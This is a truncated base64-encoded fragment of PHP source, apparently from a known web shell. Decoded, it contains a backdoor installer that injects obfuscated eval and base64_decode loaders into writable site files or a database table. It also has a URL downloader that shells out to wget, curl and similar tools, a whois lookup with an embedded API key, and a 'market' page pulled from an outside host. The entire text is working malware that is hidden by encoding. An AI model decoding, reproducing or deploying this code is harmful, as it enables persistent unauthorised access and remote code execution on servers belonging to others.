ApOwpAc2V0X3RpbWVfbGltaXQoMCk7Cn19CmZ1bmN0aW9uIGFsZmFsb2dvdXQoKXsKQHNldGNvb2tpZSgiQWxmYVVzZXIiLCBudWxsLCAyMDEyKTsKQHNldGNvb2tpZSgiQWxmYVBhc3MiLCBudWxsLCAyMDEyKTsKdW5zZXQoJF9DT09LSUVbJ0FsZmFVc2VyJ10sJF9DT09LSUVbJ0FsZmFQYXNzJ10pOwplY2hvKCJvayIpOwp9CmZ1bmN0aW9uIHNob3dBbmltYXRpb24oJG5hbWUpewoJcmV0dXJuICctd2Via2l0LWFuaW1hdGlvbjogJy4kbmFtZS4nIDgwMG1zIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tb3otYW5pbWF0aW9uOiAnLiRuYW1lLicgODAwbXMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1zLWFuaW1hdGlvbjogJy4kbmFtZS4nIDgwMG1zIGVhc2UtaW4tb3V0IGZvcndhcmRzO2FuaW1hdGlvbjogJy4kbmFtZS4nIDgwMG1zIGVhc2UtaW4tb3V0IGZvcndhcmRzOyc7Cn0KZnVuY3Rpb24gX19zaG93aWNvbigkcil7Cgkkc1snYnRuJ109J2h0dHA6Ly9zb2xldmlzaWJsZS5jb20vaW1hZ2VzL2J0bi5wbmcnOwoJJHNbJ2FsZmFtaW5pJ109J2h0dHA6Ly9zb2xldmlzaWJsZS5jb20vaW1hZ2VzL2FsZmFtaW5pLnBuZyc7Cgkkc1snbG9hZGVyJ109J2h0dHA6Ly9zb2xldmlzaWJsZS5jb20vaW1hZ2VzL2xvYWRlci5zdmcnOwoJLy9yZXR1cm4gJ2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCwnLl9fZ2V0X3Jlc291cmNlKCRzWyRyXSk7CglyZXR1cm4gJHNbJHJdOwp9CmZ1bmN0aW9uIGFsZmFpbmJhY2tkb29yKCl7CmFsZmFoZWFkKCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgSW5zdGFsbCBCYWNrRG9vciB8PC9kaXY+PC9wPjxoMz48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnaW5iYWNrZG9vclwnLG51bGwsXCdmaWxlXCcpIj58IEluIEZpbGUgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ2luYmFja2Rvb3JcJyxudWxsLFwnZGJcJykiPnwgSW4gRGF0YUJhc2UgfCA8L2E+PC9oMz48L2NlbnRlcj4nOwokZXJyb3IgPSAnPGZvbnQgY29sb3I9InJlZCI+RXJyb3IgSW4gSW5qZWN0IEJhY2tEb29yLi4uITxicj5GaWxlIExvYWRlciBpcyBub3QgV3JpdGFibGUgT3IgTm90IEV4aXN0cy4uLiE8L2ZvbnQ+JzsKJHN1Y2Nlc3M9ICc8Zm9udCBjb2xvcj0iZ3JlZW4iPlN1Y2Nlc3MuLi4hJzsKJHRleHRhcmVhID0gIjxkaXYgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnIGlkPSdiYWNrZG9vcl90ZXh0YXJlYSc+PGRpdiBjbGFzcz0ndHh0Zm9udCc+WW91ciBTaGVsbDo8L2Rpdj48cD48dGV4dGFyZWEgbmFtZT0nc2hlbGwnIHJvd3M9JzE5JyBjb2xzPScxMDMnPjw/cGhwXG5cdGVjaG8oJ0FsZmEgVGVhbSBpcyBIZXJlLi4uIScpO1xuPz48L3RleHRhcmVhPjwvcD48L2Rpdj4iOwokc2VsZWN0ID0gIjxkaXYgY2xhc3M9J3R4dGZvbnQnPlVzZTo8L2Rpdj4gPHNlbGVjdCBuYW1lPSdtZXRob2QnIHN0eWxlPSd3aWR0aDoxNTVweDsnIG9uQ2hhbmdlPSdpbkJhY2tkb29yKHRoaXMpOyc+PG9wdGlvbiB2YWx1ZT0nYWxmYSc+QWxmYSBUZWFtIFVwbG9hZGVyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nbXknPk15IFByaXZhdGUgU2hlbGw8L29wdGlvbj48L3NlbGVjdD4iOwokY3dkID0gJ0V4YW1wbGU6IC9ob21lL2FsZmEvcHVibGljX2h0bWwvaW5kZXgucGhwJzsKaWYoJF9QT1NUWydhbGZhMSddPT0nZmlsZScpewplY2hvKCI8Y2VudGVyPjxwPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IEluIEZpbGUgfDwvZGl2PjwvcD48cD48Zm9ybSBvbnN1Ym1pdD1cImcoJ2luYmFja2Rvb3InLG51bGwsJ2ZpbGUnLHRoaXMubWV0aG9kLnZhbHVlLHRoaXMuZmlsZS52YWx1ZSx0aGlzLnNoZWxsLnZhbHVlLHRoaXMua2V5LnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+eyRzZWxlY3R9IDxkaXYgY2xhc3M9J3R4dGZvbnQnPkJhY2tkb29yIExvYWRlcjo8L2Rpdj4gPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2ZpbGUnIHNpemU9JzUwJyBwbGFjZWhvbGRlcj0neyRjd2R9Jz4gPGRpdiBjbGFzcz0ndHh0Zm9udCc+S2V5OiA8L2Rpdj4gPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2tleScgc2l6ZT0nMTAnIHZhbHVlPSdhbGZhJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPnskdGV4dGFyZWF9PC9mb3JtPjwvcD48L2NlbnRlcj4iKTsKaWYoJF9QT1NUWydhbGZhMiddIT0nJyYmJF9QT1NUWydhbGZhMyddIT0nJyYmJF9QT1NUWydhbGZhNCddIT0nJyl7CiRtZXRob2QgPSAkX1BPU1RbJ2FsZmEyJ107CiRmaWxlID0gJF9QT1NUWydhbGZhMyddOwokc2hlbGwgPSAkX1BPU1RbJ2FsZmE0J107CiRrZXkgPSBzdHJfcmVwbGFjZShhcnJheSgnIicsJ1wnJyksJycsdHJpbSgkX1BPU1RbJ2FsZmE1J10pKTsKaWYoJGtleT09JycpJGtleT0nYWxmYSc7CmlmKCRtZXRob2Q9PSdteScpeyRzaGVsbD1fX1pXNWpiMlJsY2coJHNoZWxsKTt9ZWxzZXskc2hlbGw9JEdMT0JBTFNbJ19fQUxGQV9TSEVMTF9DT0RFJ107fQokY29kZSA9ICc8P3BocCBpZihpc3NldCgkX0dFVFsiYWxmYSJdKSYmJF9HRVRbImFsZmEiXT09IicuJGtleS4nIil7JGZ1bmM9ImNyIi4iZWEiLiJ0ZV8iLiJmdW4iLiJjdGlvbiI7JHg9JGZ1bmMoIlwkYyIsImUiLiJ2Ii4iYWwiLiIoXCc/PlwnLmJhc2UiLiI2NCIuIl9kZWMiLiJvZGUoXCRjKSk7Iik7JHgoIicuJHNoZWxsLiciKTtleGl0O30/Pic7CmlmKEBpc19maWxlKCRmaWxlKSYmQGlzX3dyaXRhYmxlKCRmaWxlKSl7QGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCRjb2RlLiJcbiIuQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7X19hbGVydCgkc3VjY2Vzcy4iPGJyPlJ1biBXaXRoOiAiLmJhc2VuYW1lKCRmaWxlKS4iP2FsZmE9Ii4ka2V5Lic8L2ZvbnQ+Jyk7fWVsc2V7X19hbGVydCgkZXJyb3IpO319fQppZigkX1BPU1RbJ2FsZmExJ109PSdkYicpewplY2hvKCI8Y2VudGVyPjxwPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IEluIERhdGFCYXNlIHw8L2Rpdj48L3A+Ii5nZXRDb25maWdIdG1sKCdhbGwnKS4iPHA+PGZvcm0gb25zdWJtaXQ9XCJnKCdpbmJhY2tkb29yJyxudWxsLCdkYicsdGhpcy5kYl9ob3N0LnZhbHVlLHRoaXMuZGJfdXNlcm5hbWUudmFsdWUsdGhpcy5kYl9wYXNzd29yZC52YWx1ZSx0aGlzLmRiX25hbWUudmFsdWUsdGhpcy5maWxlLnZhbHVlLHRoaXMubWV0aG9kLnZhbHVlLHRoaXMuc2hlbGwudmFsdWUsdGhpcy5rZXkudmFsdWUpO3JldHVybiBmYWxzZTtcIj4iKTsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX2hvc3QgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfaG9zdCcsICdpZCcgPT4gJ2RiX2hvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLAondGQyJyA9PgphcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfdXNlcm5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfdXNlcm5hbWUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKJ3RkMycgPT4KYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX3Bhc3N3b3JkIDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX3Bhc3N3b3JkJywgJ2lkJyA9PiAnZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAondGQ0JyA9PgphcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfbmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9uYW1lJywgJ2lkJyA9PiAnZGJfbmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCid0ZDUnID0+CmFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdCYWNrZG9vciBMb2FkZXI6ICcsICdpbnB1dE5hbWUnID0+ICdmaWxlJywgJ2lucHV0VmFsdWUnID0+ICRjd2QsICdpbnB1dFNpemUnID0+ICc1MCcsICdwbGFjZWhvbGRlcicgPT4gdHJ1ZSksCid0ZDYnID0+CmFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdLZXk6ICcsICdpbnB1dE5hbWUnID0+ICdrZXknLCAnaW5wdXRWYWx1ZScgPT4gJ2FsZmEnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobygiPHA+eyRzZWxlY3R9PC9wPiIpOwplY2hvKCR0ZXh0YXJlYSk7CmVjaG8oIjxwPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L3A+PC9mb3JtPjwvcD48L2NlbnRlcj4iKTsKaWYoJF9QT1NUWydhbGZhMiddIT0nJyYmJF9QT1NUWydhbGZhMyddIT0nJyYmJF9QT1NUWydhbGZhNSddIT0nJyYmJF9QT1NUWydhbGZhNiddIT0nJyl7CiRkYmhvc3QgPSAkX1BPU1RbJ2FsZmEyJ107CiRkYnVzZXIgPSAkX1BPU1RbJ2FsZmEzJ107CiRkYnB3ID0gJF9QT1NUWydhbGZhNCddOwokZGJuYW1lID0gJF9QT1NUWydhbGZhNSddOwokZmlsZSA9ICRfUE9TVFsnYWxmYTYnXTsKJG1ldGhvZCA9ICRfUE9TVFsnYWxmYTcnXTsKJHNoZWxsID0gJF9QT1NUWydhbGZhOCddOwoka2V5ID0gc3RyX3JlcGxhY2UoYXJyYXkoJyInLCdcJycpLCcnLHRyaW0oJF9QT1NUWydhbGZhOSddKSk7CmlmKCRrZXk9PScnKSRrZXk9J2FsZmEnOwppZigkbWV0aG9kPT0nbXknKXskc2hlbGw9X19aVzVqYjJSbGNnKCRzaGVsbCk7fWVsc2V7JHNoZWxsPSRHTE9CQUxTWydfX0FMRkFfU0hFTExfQ09ERSddO30KaWYoJGNvbm4gPSBteXNxbGlfY29ubmVjdCgkZGJob3N0LCRkYnVzZXIsJGRicHcsJGRibmFtZSkpewokY29kZSA9ICc8P3BocCBpZihpc3NldCgkX0dFVFsiYWxmYSJdKSYmJF9HRVRbImFsZmEiXT09IicuJGtleS4nIil7JGNvbm49bXlzcWxpX2Nvbm5lY3QoIicuc3RyX3JlcGxhY2UoJyInLCdcIicsJGRiaG9zdCkuJyIsIicuc3RyX3JlcGxhY2UoJyInLCdcIicsJGRidXNlcikuJyIsIicuc3RyX3JlcGxhY2UoJyInLCdcIicsJGRicHcpLiciLCInLnN0cl9yZXBsYWNlKCciJywnXCInLCRkYm5hbWUpLiciKTskcT1teXNxbGlfcXVlcnkoJGNvbm4sIlNFTEVDVCBgY29kZWAgRlJPTSBhbGZhX2JjIExJTUlUIDAsMSIpOyRyPW15c3FsaV9mZXRjaF9hc3NvYygkcSk7JGZ1bmM9ImNyIi4iZWEiLiJ0ZV8iLiJmdW4iLiJjdGlvbiI7JHg9JGZ1bmMoIlwkYyIsImUiLiJ2Ii4iYWwiLiIoXCc/PlwnLmJhc2UiLiI2NCIuIl9kZWMiLiJvZGUoXCRjKSk7Iik7JHgoJHJbImNvZGUiXSk7ZXhpdDt9Pz4nOwppZihAaXNfZmlsZSgkZmlsZSkmJkBpc193cml0YWJsZSgkZmlsZSkpewpAbXlzcWxpX3F1ZXJ5KCRjb25uLCdEUk9QIFRBQkxFIGBhbGZhX2JjYCcpOwpAbXlzcWxpX3F1ZXJ5KCRjb25uLCdDUkVBVEUgVEFCTEUgYGFsZmFfYmNgIChjb2RlIExPTkdURVhUKScpOwpAbXlzcWxpX3F1ZXJ5KCRjb25uLCdJTlNFUlQgSU5UTyBgYWxmYV9iY2AgVkFMVUVTKCInLiRzaGVsbC4nIiknKTsKQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCRjb2RlLiJcbiIuQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7Cl9fYWxlcnQoJHN1Y2Nlc3MuIjxicj5SdW4gV2l0aDogIi5iYXNlbmFtZSgkZmlsZSkuIj9hbGZhPSIuJGtleS4nPC9mb250PicpO31lbHNle19fYWxlcnQoJGVycm9yKTt9fX19CmVjaG8oJzwvZGl2PicpOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYXdob2lzKCl7CmVjaG8oIjxkaXYgY2xhc3M9J2hlYWRlcic+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBXaG9pcyB8PC9kaXY+PC9wPjxwPjxmb3JtIG9uc3VibWl0PVwiZygnd2hvaXMnLG51bGwsdGhpcy51cmwudmFsdWUsJz4+Jyk7cmV0dXJuIGZhbHNlO1wiPjxkaXYgY2xhc3M9J3R4dGZvbnQnPlVybDogPC9kaXY+IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd1cmwnIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIHNpemU9JzUwJyBwbGFjZWhvbGRlcj0nZ29vZ2xlLmNvbSc+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+PC9wPjwvY2VudGVyPiIpOwppZigkX1BPU1RbJ2FsZmEyJ109PSc+PicmJiFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pKXsKJHNpdGUgPSBzdHJfcmVwbGFjZShhcnJheSgnaHR0cDovLycsJ2h0dHBzOi8vJywnd3d3LicsJ2Z0cDovLycpLCcnLCRfUE9TVFsnYWxmYTEnXSk7CiR0YXJnZXQgPSAnaHR0cDovL2FwaS53aG9hcGkuY29tLz9hcGlrZXk9MDkzYjZjYjllNmVhNzI0ZTEwMTkyODY0N2RmM2UwMDkmcj13aG9pcyZkb21haW49Jy4kc2l0ZTsKJGRhdGEgPSBAZmlsZV9nZXRfY29udGVudHMoJHRhcmdldCk7CmlmKCRkYXRhPT0nJyl7JGdldCA9IG5ldyBBbGZhQ1VSTCgpOyRnZXQtPnNzbCA9IHRydWU7JGRhdGEgPSAkZ2V0LT5TZW5kKCR0YXJnZXQpO30KJHRhcmdldCA9IEBqc29uX2RlY29kZSgkZGF0YSx0cnVlKTsKZWNobyBfX3ByZSgpOwppZihpc19hcnJheSgkdGFyZ2V0KSl7ZWNobygkdGFyZ2V0WyJ3aG9pc19yYXciXSk7fWVsc2V7ZWNobyBhbGZhRXgoIndob2lzICIuJHNpdGUpO319CmVjaG8oIjwvZGl2PiIpOwp9CmZ1bmN0aW9uIGFsZmFyZW1vdGVkbCgpewphbGZhaGVhZCgpOwplY2hvKCI8ZGl2IGNsYXNzPSdoZWFkZXInPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgVXBsb2FkIEZyb20gVXJsIHw8L2Rpdj48L3A+PHA+Cjxmb3JtIG9uc3VibWl0PVwiZygncmVtb3RlZGwnLG51bGwsdGhpcy5kLnZhbHVlLHRoaXMucC52YWx1ZSwnPj4nKTtyZXR1cm4gZmFsc2U7XCI+CjxwPjxkaXYgY2xhc3M9J3R4dGZvbnQnPlVybDogPC9kaXY+Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2QnIHNpemU9JzUwJz48L3A+CjxkaXYgY2xhc3M9J3R4dGZvbnQnPlBhdGg6PC9kaXY+IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwJyBzaXplPSc1MCcgdmFsdWU9JyIuJEdMT0JBTFNbJ2N3ZCddLiInPjxwPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L3A+CjwvZm9ybT48L3A+PC9jZW50ZXI+Iik7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTEnXSwkX1BPU1RbJ2FsZmEyJ10sJF9QT1NUWydhbGZhMyddKSYmIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkmJiRfUE9TVFsnYWxmYTMnXT09Jz4+Jyl7CmVjaG8gX19wcmUoKTsKJHVybCA9ICRfUE9TVFsnYWxmYTEnXTsKJHBhdGggPSAkX1BPU1RbJ2FsZmEyJ107CmVjaG8oJzxjZW50ZXI+Jyk7CmlmKF9fZG93bmxvYWQoJHVybCwkcGF0aCkpewplY2hvKCc8Zm9udCBjb2xvcj0iZ3JlZW4iPlN1Y2Nlc3MuLi4hPC9mb250PicpOwp9ZWxzZXsKZWNobygnPGZvbnQgY29sb3I9InJlZCI+RXJyb3IuLi4hPC9mb250PicpOwp9CmVjaG8oJzwvY2VudGVyPicpOwp9CmVjaG8oIjwvZGl2PiIpOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gX19kb3dubG9hZCgkdXJsLCRwYXRoPWZhbHNlKXsKaWYoIXByZWdfbWF0Y2goIi9bYS16XSs6XC9cLy4rLyIsJHVybCkpIHJldHVybiBmYWxzZTsKJHNhdmVhcyA9IGJhc2VuYW1lKHJhd3VybGRlY29kZSgkdXJsKSk7CmlmKCRwYXRoKXskc2F2ZWFzPSRwYXRoLiRzYXZlYXM7fQppZigkY29udGVudCA9IF9fcmVhZF9maWxlKCR1cmwpKXsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpQHVubGluaygkc2F2ZWFzKTsKaWYoX193cml0ZV9maWxlKCRzYXZlYXMsICRjb250ZW50KSl7cmV0dXJuIHRydWU7fX0KJGJ1ZmYgPSBhbGZhRXgoIndnZXQgIi4kdXJsLiIgLU8gIi4kc2F2ZWFzKTsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwokYnVmZiA9IGFsZmFFeCgiY3VybCAiLiR1cmwuIiAtbyAiLiRzYXZlYXMpOwppZihAaXNfZmlsZSgkc2F2ZWFzKSkgcmV0dXJuIHRydWU7CiRidWZmID0gYWxmYUV4KCJsd3AtZG93bmxvYWQgIi4kdXJsLiIgIi4kc2F2ZWFzKTsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwokYnVmZiA9IGFsZmFFeCgibHlueCAtc291cmNlICIuJHVybC4iID4gIi4kc2F2ZWFzKTsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwokYnVmZiA9IGFsZmFFeCgiR0VUICIuJHVybC4iID4gIi4kc2F2ZWFzKTsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwokYnVmZiA9IGFsZmFFeCgibGlua3MgLXNvdXJjZSAiLiR1cmwuIiA+ICIuJHNhdmVhcyk7CmlmKEBpc19maWxlKCRzYXZlYXMpKSByZXR1cm4gdHJ1ZTsKJGJ1ZmYgPSBhbGZhRXgoImZldGNoIC1vICIuJHNhdmVhcy4iIC1wICIuJHVybCk7CmlmKEBpc19maWxlKCRzYXZlYXMpKSByZXR1cm4gdHJ1ZTsKcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIGNsZWFuX3N0cmluZygkc3RyaW5nKXsKICBpZihmdW5jdGlvbl9leGlzdHMoImljb252IikpewoJICAkcyA9IHRyaW0oJHN0cmluZyk7CgkgICRzID0gaWNvbnYoIlVURi04IiwgIlVURi04Ly9JR05PUkUiLCAkcyk7CiAgfQogIHJldHVybiAkczsKfQpmdW5jdGlvbiBfX3JlYWRfZmlsZSgkZmlsZSwgJGJvb20gPSB0cnVlKXsKJGNvbnRlbnQgPSBmYWxzZTsKaWYoJGZoID0gQGZvcGVuKCRmaWxlLCAicmIiKSl7CiRjb250ZW50ID0gIiI7CndoaWxlKCFmZW9mKCRmaCkpewokY29udGVudCAuPSAkYm9vbSA/IGNsZWFuX3N0cmluZyhmcmVhZCgkZmgsIDgxOTIpKSA6IGZyZWFkKCRmaCwgODE5Mik7Cn0KQGZjbG9zZSgkZmgpOwp9CmlmKGVtcHR5KCRjb250ZW50KXx8ISRjb250ZW50KXsKCSRjb250ZW50ID0gYWxmYUV4KCJjYXQgJyIuYWRkc2xhc2hlcygkZmlsZSkuIiciKTsKfQpyZXR1cm4gJGNvbnRlbnQ7Cn0KZnVuY3Rpb24gYWxmYU1hcmtldCgpewplY2hvICI8ZGl2IGNsYXNzPSdoZWFkZXInPiI7CiRjdXJsID0gbmV3IEFsZmFDVVJMKCk7CiRjb250ZW50ID0gJGN1cmwtPlNlbmQoImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vbWFya2V0LnBocCIpOwokZGF0YSA9IEBqc29uX2RlY29kZSgkY29udGVudCwgdHJ1ZSk7CmlmKCFlbXB0eSgkZGF0YSkpewppZigkZGF0YVsic3RhdHVzIl0gPT0gIm9wZW4iKXsKCWVjaG8gJGRhdGFbImNvbnRlbnQiXTsKfWVsc2V7CgllY2hvICRkYXRhWyJlcnJvcl9tc2ciXTsKfQp9ZWxzZXsKCWVjaG8gIjxkaXYgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtc2l6ZToyMHB4Oyc+Q2FudCBjb25uZWN0IHRvIHRoZSBhbGZhIG1hcmtldC4uLi4hIHRyeSBsYXRlci48L2Rpdj4iOwp9CmVjaG8gIjwvZGl2PiI7Cn0KZnVuY3Rpb24gYWxmYVNldHRpbmdzKCl7CmFsZmFoZWFkKCk7CkFsZmFOdW0oNiw3LDgsOSwxMCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgU2V0dGluZ3MgfDwvZGl2PjwvcD48aDM+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NldHRpbmdzXCcsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLFwnbWFpblwnKSI+fCBHZW5lcmFsbCBTZXR0aW5nIHwgPC9hPjwvaDM+PC9jZW50ZXI+JzsKaWYoJF9QT1NUWyJhbGZhOCJdID09ICJtYWluIil7CmVjaG8gJzxwPjxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgU2V0dGluZ3MgfDwvZGl2PjwvcD48Zm9ybSBvblN1Ym1pdD0icmVsb2FkU2V0dGluZyh0aGlzKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9XCdwb3N0XCc+JzsKJGxnX2FycmF5ID0gYXJyYXkoJzAnPT4nTm8nLCcxJz0+J1llcycpOwokcGVuY19hcnJheSA9IGFycmF5KCdmYWxzZSc9PidObycsJ3RydWUnPT4nWWVzJyk7CiRwcm90ZWN0X2h0bWwgPSAiIjsKJGljb25faHRtbCA9ICIiOwokcG9zdEVuY19odG1sID0gIiI7CiRsb2dpbl9odG1sID0gIiI7CiRjZ2lhcGlfaHRtbCA9ICIiOwpmb3JlYWNoKCRsZ19hcnJheSBhcyAka2V5PT4kdmFsKSRwcm90ZWN0X2h0bWwgLj0gJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIiAnLigkR0xPQkFMU1snREJfTkFNRSddWydzYWZlbW9kZSddPT0nMSc/J3NlbGVjdGVkJzonJykuJz4nLiR2YWwuJzwvb3B0aW9uPic7CmZvcmVhY2goJGxnX2FycmF5IGFzICRrZXk9PiR2YWwpJGljb25faHRtbCAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4ka2V5LiciICcuKCRHTE9CQUxTWydEQl9OQU1FJ11bJ3Nob3dfaWNvbnMnXT09JzEnPydzZWxlY3RlZCc6JycpLic+Jy4kdmFsLic8L29wdGlvbj4nOwpmb3JlYWNoKCRwZW5jX2FycmF5IGFzICRrZXk9PiR2YWwpJGNnaWFwaV9odG1sIC49ICc8b3B0aW9uIHZhbHVlPSInLiRrZXkuJyIgJy4oIWVtcHR5KCRfUE9TVFsnYWxmYTknXSkmJiRfUE9TVFsnYWxmYTknXT09JGtleT8ic2VsZWN0ZWQiOigkR0xPQkFMU1siREJfTkFNRSJdWyJjZ2lfYXBpIl0mJmVtcHR5KCRfUE9TVFsnYWxmYTknXSk/J3NlbGVjdGVkJzonJykpLic+Jy4kdmFsLic8L29wdGlvbj4nOwpmb3JlYWNoKCRwZW5jX2FycmF5IGFzICRrZXk9PiR2YWwpJHBvc3RFbmNfaHRtbCAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4ka2V5LiciICcuKCFlbXB0eSgkX1BPU1RbJ2FsZmE3J10pJiYkX1BPU1RbJ2FsZmE3J109PSRrZXk/InNlbGVjdGVkIjooX19BTEZBX1BPU1RfRU5DUllQVElPTl9fJiZlbXB0eSgkX1BPU1RbJ2FsZmE3J10pPydzZWxlY3RlZCc6JycpKS4nPicuJHZhbC4nPC9vcHRpb24+JzsKJGxnX2FycmF5ID0gYXJyYXkoImd1aSI9PiJHVUkiLCI1MDAiPT4iNTAwIEludGVybmFsIFNlcnZlciBFcnJvciIsIjQwMyI9PiI0MDMgRm9yYmlkZGVuIiwiNDA0Ij0+IjQwNCBOb3RGb3VuZCIpOwpmb3JlYWNoKCRsZ19hcnJheSBhcyAka2V5PT4kdmFsKSRsb2dpbl9odG1sIC49ICc8b3B0aW9uIHZhbHVlPSInLiRrZXkuJyIgJy4oJEdMT0JBTFNbJ0RCX05BTUUnXVsnbG9naW5fcGFnZSddPT0ka2V5PydzZWxlY3RlZCc6JycpLic+Jy4kdmFsLic8L29wdGlvbj4nOwplY2hvICcnOwplY2hvICc8dGFibGUgYm9yZGVyPSIxIj48dGJvZHk+PHRyPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJjb2xvcjojRkZGRkZGIj5Qcm90ZWN0OjwvZGl2PjwvdGQ+PHRkPjxzZWxlY3QgbmFtZT0icHJvdGVjdCIgc3R5bGU9IndpZHRoOjEwMCU7Ij4nLiRwcm90ZWN0X2h0bWwuJzwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkPjxkaXYgY2xhc3M9InRibHR4dCIgc3R5bGU9ImNvbG9yOiNGRkZGRkYiPkNnaSBBcGk6PC9kaXY+PC90ZD48dGQ+PHNlbGVjdCBuYW1lPSJjZ2lfYXBpIiBzdHlsZT0id2lkdGg6MTAwJTsiPicuJGNnaWFwaV9odG1sLic8L3NlbGVjdD48L3RkPjwvdHI+PHRyPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJjb2xvcjojRkZGRkZGIj5Qb3N0IEVuY3J5cHRpb246PC9kaXY+PC90ZD48dGQ+PHNlbGVjdCBuYW1lPSJwb3N0X2VuY3J5cHQiIHN0eWxlPSJ3aWR0aDoxMDAlOyI+Jy4kcG9zdEVuY19odG1sLic8L3NlbGVjdD48L3RkPjwvdHI+PHRyPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJjb2xvcjojRkZGRkZGIj5TaG93IEljb25zOjwvZGl2PjwvdGQ+PHRkPjxzZWxlY3QgbmFtZT0iaWNvbiIgc3R5bGU9IndpZHRoOjEwMCU7Ij4nLiRpY29uX2h0bWwuJzwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRyPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJjb2xvcjojRkZGRkZGIj5sb2dpbiBQYWdlOjwvZGl2PjwvdGQ+PHRkPjxzZWxlY3Qgc3R5bGU9IndpZHRoOjEwMCU7IiBuYW1lPSJsZ3BhZ2UiPicuJGxvZ2luX2h0bWwuJzwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkPjxkaXYgY2xhc3M9InRibHR4dCIgc3R5bGU9ImNvbG9yO